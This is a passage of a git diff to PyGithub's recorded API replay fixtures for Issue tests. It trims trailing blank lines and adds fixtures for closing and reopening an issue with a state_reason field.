('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"7ee883662296ef73c5ea00f358ccb45b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DD3F:0DD6:11917A:244AED:5A260984'), ('date', 'Tue, 05 Dec 2017 02:50:44 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512444081')] {"id":16917472,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"hooray","created_at":"2017-12-05T02:50:44Z"} - diff --git a/tests/ReplayData/Issue.testDeleteAndSetLabels.txt b/tests/ReplayData/Issue.testDeleteAndSetLabels.txt index 4954645e32..002e5c4824 100644 --- a/tests/ReplayData/Issue.testDeleteAndSetLabels.txt +++ b/tests/ReplayData/Issue.testDeleteAndSetLabels.txt @@ -74,4 +74,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}] - diff --git a/tests/ReplayData/Issue.testDeleteAndSetLabelsWithStringArguments.txt b/tests/ReplayData/Issue.testDeleteAndSetLabelsWithStringArguments.txt index 8eacccf481..e1c99dbf93 100755 --- a/tests/ReplayData/Issue.testDeleteAndSetLabelsWithStringArguments.txt +++ b/tests/ReplayData/Issue.testDeleteAndSetLabelsWithStringArguments.txt @@ -52,4 +52,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1a56634d9c1050a88592ff55ed8adc62"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}] - diff --git a/tests/ReplayData/Issue.testDeleteReaction.txt b/tests/ReplayData/Issue.testDeleteReaction.txt index aeab9bada6..39c9afb3ef 100644 --- a/tests/ReplayData/Issue.testDeleteReaction.txt +++ b/tests/ReplayData/Issue.testDeleteReaction.txt @@ -7,5 +7,3 @@ None None 204 [('Date', 'Mon, 28 Sep 2020 20:23:03 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-OAuth-Scopes', 'public_repo, repo:status, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.squirrel-girl-preview'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4955'), ('X-RateLimit-Reset', '1601324668'), ('X-RateLimit-Used', '45'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', 'AE16:FACE:CAD7D10:F1C172A:5F724627')] - - diff --git a/tests/ReplayData/Issue.testEditResetAssignee.txt b/tests/ReplayData/Issue.testEditResetAssignee.txt index 48825f6739..b99ed227ad 100644 --- a/tests/ReplayData/Issue.testEditResetAssignee.txt +++ b/tests/ReplayData/Issue.testEditResetAssignee.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '1853'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4980'), ('server', 'nginx'), ('connection', 'keep-alive'), ('etag', '"6947b498e9fd9f792130d6c80982b949"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 11 Sep 2012 18:47:24 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] {"body":"Body edited by PyGithub","closed_at":"2012-05-26T14:59:33Z","milestone":{"due_on":"2012-03-13T07:00:00Z","description":"","created_at":"2012-03-08T12:22:10Z","closed_issues":3,"title":"Version 0.4","open_issues":0,"state":"closed","creator":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"number":1,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/1","id":93546},"labels":[{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"02e10c","name":"Question","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question"}],"user":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"pull_request":{"html_url":null,"patch_url":null,"diff_url":null},"created_at":"2012-05-19T10:38:23Z","comments":0,"closed_by":{"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"title":"Issue created by PyGithub","html_url":"https://github.com/jacquev6/PyGithub/issues/28","assignee":null,"state":"closed","number":28,"updated_at":"2012-09-11T18:47:24Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","id":4653757} - diff --git a/tests/ReplayData/Issue.testEditResetMilestone.txt b/tests/ReplayData/Issue.testEditResetMilestone.txt index f89550a4c9..f5af190966 100644 --- a/tests/ReplayData/Issue.testEditResetMilestone.txt +++ b/tests/ReplayData/Issue.testEditResetMilestone.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4976'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('content-length', '1296'), ('server', 'nginx'), ('connection', 'keep-alive'), ('etag', '"71423b9f379e4978b85005a6dc6820ed"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Tue, 11 Sep 2012 18:48:34 GMT'), ('content-type', 'application/json; charset=utf-8')] {"body":"Body edited by PyGithub","closed_at":"2012-05-26T14:59:33Z","milestone":null,"labels":[{"color":"e10c02","name":"Bug","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug"},{"color":"02e10c","name":"Question","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question"}],"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"created_at":"2012-05-19T10:38:23Z","comments":0,"closed_by":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"title":"Issue created by PyGithub","assignee":null,"state":"closed","number":28,"html_url":"https://github.com/jacquev6/PyGithub/issues/28","updated_at":"2012-09-11T18:48:34Z","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","id":4653757} - diff --git a/tests/ReplayData/Issue.testEditWithAllParameters.txt b/tests/ReplayData/Issue.testEditWithAllParameters.txt index e1bcb4f8e3..85de543adb 100644 --- a/tests/ReplayData/Issue.testEditWithAllParameters.txt +++ b/tests/ReplayData/Issue.testEditWithAllParameters.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '2034'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"98bbbf2b2187bf5cdd9aead53ecc2b97"'), ('date', 'Sat, 19 May 2012 10:42:26 GMT'), ('content-type', 'application/json; charset=utf-8')] {"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"assignees":[{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117}],"updated_at":"2012-05-19T10:42:25Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","comments":0,"number":28,"title":"Title edited by PyGithub","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"closed_at":null,"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"}],"closed_by":null,"html_url":"https://github.com/jacquev6/PyGithub/issues/28","created_at":"2012-05-19T10:38:23Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4653757,"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","due_on":null,"closed_issues":1,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"number":2,"open_issues":11,"title":"Version 1.0: coherent public interface","created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547}} - diff --git a/tests/ReplayData/Issue.testEditWithStateReasonNotPlanned.txt b/tests/ReplayData/Issue.testEditWithStateReasonNotPlanned.txt new file mode 100644 index 0000000000..2c1226449c --- /dev/null +++ b/tests/ReplayData/Issue.testEditWithStateReasonNotPlanned.txt @@ -0,0 +1,10 @@ +https +PATCH +api.github.com +None +/repos/jacquev6/PyGithub/issues/28 +{'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +{"state": "closed", "state_reason": "not_planned"} +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '2034'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"98bbbf2b2187bf5cdd9aead53ecc2b97"'), ('date', 'Sat, 19 May 2012 10:42:26 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"assignees":[{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117}],"updated_at":"2012-05-19T10:42:25Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","comments":0,"number":28,"title":"Title edited by PyGithub","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"closed_at":null,"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"}],"closed_by":null,"html_url":"https://github.com/jacquev6/PyGithub/issues/28","created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4653757,"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","due_on":null,"closed_issues":1,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"number":2,"open_issues":11,"title":"Version 1.0: coherent public interface","created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"state_reason":"not_planned"} diff --git a/tests/ReplayData/Issue.testEditWithStateReasonReopened.txt b/tests/ReplayData/Issue.testEditWithStateReasonReopened.txt new file mode 100644 index 0000000000..b57738dff4 --- /dev/null +++ b/tests/ReplayData/Issue.testEditWithStateReasonReopened.txt @@ -0,0 +1,10 @@ +https +PATCH +api.github.com +None +/repos/jacquev6/PyGithub/issues/28 +{'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +{"state": "open", "state_reason": "reopened"} +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '2034'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"98bbbf2b2187bf5cdd9aead53ecc2b97"'), ('date', 'Sat, 19 May 2012 10:42:26 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"assignees":[{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},{"url":"https://api.github.com/users/stuglaser","gravatar_id":"","login":"stuglaser","avatar_url":"https://avatars.githubusercontent.com/u/1527117?v=3","id":1527117}],"updated_at":"2012-05-19T10:42:25Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","comments":0,"number":28,"title":"Title edited by PyGithub","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"closed_at":null,"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"}],"closed_by":null,"html_url":"https://github.com/jacquev6/PyGithub/issues/28","created_at":"2012-05-19T10:38:23Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4653757,"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","due_on":null,"closed_issues":1,"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"number":2,"open_issues":11,"title":"Version 1.0: coherent public interface","created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"state_reason":"reopened"} diff --git a/tests/ReplayData/Issue.testEditWithoutParameters.txt b/tests/ReplayData/Issue.testEditWithoutParameters.txt index baef093e07..4e2d08a36c 100644 --- a/tests/ReplayData/Issue.testEditWithoutParameters.txt +++ b/tests/ReplayData/Issue.testEditWithoutParameters.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '748'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"771af112ee4f9ad5858f5c9b5141b319"'), ('date', 'Sat, 19 May 2012 10:41:03 GMT'), ('content-type', 'application/json; charset=utf-8')] {"assignee":null,"updated_at":"2012-05-19T10:38:23Z","body":null,"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/28","comments":0,"number":28,"title":"Issue created by PyGithub","pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"closed_at":null,"labels":[],"closed_by":null,"html_url":"https://github.com/jacquev6/PyGithub/issues/28","created_at":"2012-05-19T10:38:23Z","state":"open","user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":4653757,"milestone":null} - diff --git a/tests/ReplayData/Issue.testGetComments.txt b/tests/ReplayData/Issue.testGetComments.txt index 38a1783841..19d4cf5022 100644 --- a/tests/ReplayData/Issue.testGetComments.txt +++ b/tests/ReplayData/Issue.testGetComments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '1820'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"bab5fb77d873847d153979f7fcd7e0f1"'), ('date', 'Sat, 26 May 2012 09:43:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-05-01T22:03:59Z","body":"Thank you for the suggestion. It's somehow related to https://github.com/jacquev6/PyGithub/issues/6, even if I have not described it in details.\r\n\r\nI'm currently doing a very deep rewrite, which will lead to much more readable stack traces in case of exceptions, and I will include more details about the error. I may also be able to detect type errors *before* sending the request to github.\r\n\r\nBy the way, I'm very glad to hear that you have solved a real-life use case using PyGithub :-)","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5449237","id":5449237,"created_at":"2012-05-01T22:03:59Z"},{"user":{"gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/roskakori","login":"roskakori","id":328726},"updated_at":"2012-05-04T19:23:57Z","body":"Good to hear you are already working on this in #6, so I suppose this can be tagged as duplicate and be closed.\r\n\r\nBTW, I cleaned up my script to convert Trac tickets to Github issues and uploaded it to PyPI: http://pypi.python.org/pypi/tratihubis/. It seems that at least some people find it useful, so hopefully it helps to popularize PyGithub a little.","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/5518272","id":5518272,"created_at":"2012-05-04T19:23:57Z"}] - diff --git a/tests/ReplayData/Issue.testGetEvents.txt b/tests/ReplayData/Issue.testGetEvents.txt index 8734e555b9..a5c75ca3bf 100644 --- a/tests/ReplayData/Issue.testGetEvents.txt +++ b/tests/ReplayData/Issue.testGetEvents.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '945'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c22776de31a71795b5374ee3c61f51bd"'), ('date', 'Sun, 20 May 2012 12:02:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15819975","commit_id":null,"created_at":"2012-05-19T10:38:23Z","event":"subscribed","id":15819975,"actor":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15820048","commit_id":null,"created_at":"2012-05-19T10:42:25Z","event":"assigned","id":15820048,"actor":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146}}] - diff --git a/tests/ReplayData/Issue.testGetLabels.txt b/tests/ReplayData/Issue.testGetLabels.txt index 53874dbaea..0a8605b94a 100644 --- a/tests/ReplayData/Issue.testGetLabels.txt +++ b/tests/ReplayData/Issue.testGetLabels.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}] - diff --git a/tests/ReplayData/Issue.testGetReactions.txt b/tests/ReplayData/Issue.testGetReactions.txt index 5e27e933bf..8fde7eca0e 100644 --- a/tests/ReplayData/Issue.testGetReactions.txt +++ b/tests/ReplayData/Issue.testGetReactions.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '997'), ('x-runtime-rack', '0.048226'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"3255702d103ac91381269c771ab9b613"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4928'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DC5B:0DD5:D2183:206795:5A25FFA5'), ('date', 'Tue, 05 Dec 2017 02:08:37 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512439778')] [{"id":16916340,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"+1","created_at":"2017-12-05T01:59:33Z"}] - diff --git a/tests/ReplayData/Issue.testGetTimeline.txt b/tests/ReplayData/Issue.testGetTimeline.txt index 6ba327264a..eaee0e08e2 100644 --- a/tests/ReplayData/Issue.testGetTimeline.txt +++ b/tests/ReplayData/Issue.testGetTimeline.txt @@ -7,4 +7,4 @@ None None 200 [('content-length', '997'), ('x-runtime-rack', '0.048226'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"3255702d103ac91381269c771ab9b613"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4928'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'DC5B:0DD5:D2183:206795:5A25FFA5'), ('date', 'Tue, 05 Dec 2017 02:08:37 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1512439778')] -[ { "id": 15819975, "node_id": 